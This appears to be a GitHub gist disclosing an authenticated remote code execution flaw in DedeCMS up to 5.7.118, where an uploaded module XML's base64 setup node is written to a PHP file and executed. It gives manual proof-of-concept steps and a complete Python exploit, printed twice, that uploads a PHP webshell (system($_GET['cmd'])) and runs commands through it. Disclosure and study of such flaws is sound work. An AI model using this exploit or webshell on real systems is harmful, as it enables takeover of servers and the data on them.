Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save 0psPwn/10c43912adee9bfe2ff4fec947d4ee5a to your computer and use it in GitHub Desktop.

Select an option

Save 0psPwn/10c43912adee9bfe2ff4fec947d4ee5a to your computer and use it in GitHub Desktop.
DedeCMS_backend_remote_code_execution_vulnerability

DedeCMS backend remote code execution vulnerability

BUG_Author: 0ps

Affected Version: DedeCMS ≤ 5.7.118

Vendor: 织梦 (DedeCMS) 官方网站 - 内容管理系统 - 上海卓卓网络科技有限公司

Software: 织梦 (DedeCMS) 官方网站 - 内容管理系统 - 上海卓卓网络科技有限公司

Vulnerability Files:

  • uploads/dede/module_upload.php
  • uploads/dede/module_main.php
  • uploads/include/dedemodule.class.php

Description:

  1. The backend module management allows uploading of custom module XML files.
  2. During installation, the <setup> node is base64-decoded and written into a file named data/module/<hash>-setup.php, which is then executed via the include() function, resulting in arbitrary code execution.

Proof of Concept:

  1. Log in to the backend: /dede/login.php

  2. Go to: 模块管理 -> 上传模块

  3. Upload a custom module XML (select "正常的模块包" for the file type):

    • Customize a hash value, for example: 21232f297a57a5a743894a0e4a801fc3

    • Define injected code PD9waHANCmV4ZWMoIndob2FtaSIsICRvdXRwdXQpOw0KcHJpbnRfcigkb3V0cHV0KTsNCj8+:

    • <?php
      exec("whoami", $output);
      print_r($output);
      ?>
    <module>
    <baseinfo>
    name=RCE
    team=0ps
    time=1700000000
    email=a@b.c
    url=http://example.com
    hash=21232f297a57a5a743894a0e4a801fc3
    indexname=AuditRCE
    indexurl=module_main.php
    ismember=0
    autosetup=0
    autodel=1
    lang=utf-8
    moduletype=soft
    </baseinfo>
    <systemfile>
    <setup>
    PD9waHANCmV4ZWMoIndob2FtaSIsICRvdXRwdXQpOw0KcHJpbnRfcigkb3V0cHV0KTsNCj8+
    </setup>
    </systemfile>
    <modulefiles>
    </modulefiles>
    </module>
  4. Click '安装' on the module details page to trigger setupstart

  5. Click the '确定' button.

After completing the above five steps, accessing /data/module/21232f297a57a5a743894a0e4a801fc3-setup.php will trigger remote code execution.

EXP:

import base64
import random
import requests

def b64(s: str) -> str:
    return base64.b64encode(s.encode()).decode()

def build_xml(hashv: str, php_code: str) -> str:
    return f"""<module>
<baseinfo>
name=TEST_CODE
team=0rays_0ps
time=1700000000
email=a@b.c
url=http://example.com
hash={hashv}
indexname=TEST_CODE
indexurl=module_main.php
ismember=0
autosetup=0
autodel=1
lang=utf-8
moduletype=soft
</baseinfo>
<systemfile>
<setup>
{b64(php_code)}
</setup>
</systemfile>
<modulefiles>
</modulefiles>
</module>
"""

def main():
    target = "http://localhost:8088"
    # Copy the Cookie after logging into the backend (key: PHPSESSID + DedeUserID/DedeLoginTime, etc.)
    cookie_header = "PHPSESSID=xxxx; DedeUserID=1; DedeLoginTime=xxxx; ..."  # TODO

    # Fixed hash for easy access to landing files.
    hashv = "21232f297a57a5a743894a0e4a801fc3"

    # payload:
    php_code = """<?php
system($_GET['cmd']);
?>"""

    s = requests.Session()
    s.headers.update({
        "User-Agent": "Mozilla/5.0",
        "Cookie": cookie_header,
    })

    # 1) upload XML
    upload_url = f"{target}/dede/module_upload.php"
    xml_content = build_xml(hashv, php_code)

    files = {
        "upfile": (f"{hashv}.xml", xml_content, "text/xml")
    }
    data = {
        "action": "upload",
        "filetype": "0",
        "delhas": "1",
        "imageField1.x": "42",
        "imageField1.y": "5",
    }

    r = s.post(upload_url, data=data, files=files, timeout=15)
    print("[+] upload status:", r.status_code)
    # print(r.text)

    # 2) GET setup page for sure that the module is recognized
    setup_confirm_url = f"{target}/dede/module_main.php?action=setup&hash={hashv}"
    r = s.get(setup_confirm_url, timeout=15)
    print("[+] setup confirm status:", r.status_code)

    # 3) POST setupstart to write the webshell to disk
    setupstart_url = f"{target}/dede/module_main.php"
    data2 = {
        "hash": hashv,
        "action": "setupstart",
        "filelists": "",
        "isreplace": "1",
        "imageField1.x": str(random.randint(1, 50)),
        "imageField1.y": str(random.randint(1, 50)),
    }
    r = s.post(setupstart_url, data=data2, timeout=15)
    print("[+] setupstart status:", r.status_code)
    # print(r.text)

    # 4) visist webshell http://target/data/module/21232f297a57a5a743894a0e4a801fc3-setup.php?cmd=whoami
    shell_url = f"{target}/data/module/{hashv}-setup.php?cmd=whoami"
    r = s.get(shell_url, timeout=15)
    print("[+] trigger status:", r.status_code)
    print("----- output -----")
    print(r.text[:2000])

if __name__ == "__main__":
    main()
import base64
import random
import requests
def b64(s: str) -> str:
return base64.b64encode(s.encode()).decode()
def build_xml(hashv: str, php_code: str) -> str:
return f"""<module>
<baseinfo>
name=TEST_CODE
team=0rays_0ps
time=1700000000
email=a@b.c
url=http://example.com
hash={hashv}
indexname=TEST_CODE
indexurl=module_main.php
ismember=0
autosetup=0
autodel=1
lang=utf-8
moduletype=soft
</baseinfo>
<systemfile>
<setup>
{b64(php_code)}
</setup>
</systemfile>
<modulefiles>
</modulefiles>
</module>
"""
def main():
target = "http://localhost:8088"
# Copy the Cookie after logging into the backend (key: PHPSESSID + DedeUserID/DedeLoginTime, etc.)
cookie_header = "PHPSESSID=xxxx; DedeUserID=1; DedeLoginTime=xxxx; ..." # TODO
# Fixed hash for easy access to landing files.
hashv = "21232f297a57a5a743894a0e4a801fc3"
# payload:
php_code = """<?php
system($_GET['cmd']);
?>"""
s = requests.Session()
s.headers.update({
"User-Agent": "Mozilla/5.0",
"Cookie": cookie_header,
})
# 1) upload XML
upload_url = f"{target}/dede/module_upload.php"
xml_content = build_xml(hashv, php_code)
files = {
"upfile": (f"{hashv}.xml", xml_content, "text/xml")
}
data = {
"action": "upload",
"filetype": "0",
"delhas": "1",
"imageField1.x": "42",
"imageField1.y": "5",
}
r = s.post(upload_url, data=data, files=files, timeout=15)
print("[+] upload status:", r.status_code)
# print(r.text)
# 2) GET setup page for sure that the module is recognized
setup_confirm_url = f"{target}/dede/module_main.php?action=setup&hash={hashv}"
r = s.get(setup_confirm_url, timeout=15)
print("[+] setup confirm status:", r.status_code)
# 3) POST setupstart to write the webshell to disk
setupstart_url = f"{target}/dede/module_main.php"
data2 = {
"hash": hashv,
"action": "setupstart",
"filelists": "",
"isreplace": "1",
"imageField1.x": str(random.randint(1, 50)),
"imageField1.y": str(random.randint(1, 50)),
}
r = s.post(setupstart_url, data=data2, timeout=15)
print("[+] setupstart status:", r.status_code)
# print(r.text)
# 4) visist webshell http://target/data/module/21232f297a57a5a743894a0e4a801fc3-setup.php?cmd=whoami
shell_url = f"{target}/data/module/{hashv}-setup.php?cmd=whoami"
r = s.get(shell_url, timeout=15)
print("[+] trigger status:", r.status_code)
print("----- output -----")
print(r.text[:2000])
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment